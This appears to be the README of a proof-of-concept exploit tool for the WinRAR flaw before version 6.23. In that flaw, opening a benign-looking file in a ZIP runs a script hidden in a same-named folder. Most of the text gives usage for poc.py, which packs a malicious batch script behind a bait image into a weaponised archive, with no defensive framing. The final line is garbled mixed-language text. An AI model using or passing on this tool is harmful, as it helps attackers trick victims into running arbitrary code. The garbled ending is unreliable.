RARLabs WinRAR 6.23 之前的版本存在漏洞,当用户尝试查看 ZIP 压缩包中的良性文件时,攻击者可执行任意代码。该问题源于 ZIP 压缩包可能包含一个良性文件(例如普通的 .JPG 文件),同时还包含一个与该良性文件同名的文件夹;在仅尝试访问良性文件时,该文件夹中的内容(可能包含可执行内容)也会被处理。该漏洞已在 2023 年 4 月至 8 月期间在野外被利用。
用法:
- poc.py [-h] scriptPath benignPath zipDirectory fname
位置参数:
scriptPath The Filepath of the Malicious script/batch which will be executed
benignPath The Filepath of the Benign file (recommended in '.jpg', '.png' and '.pdf')
zipDirectory The Name of the Directory which will be Created and Zipped
fname The Names of the Folder and File in the Zip (including the file extension)
选项:
-h, --help show this help message and exit
benign/bait file (e.g. sample.png) 和 malicious script (e.g. script.bat)python3 poc.py script.bat sample.PNG PoC sample.png 以生成 .zip 格式的漏洞利用包Benign file (i.e. sample.png)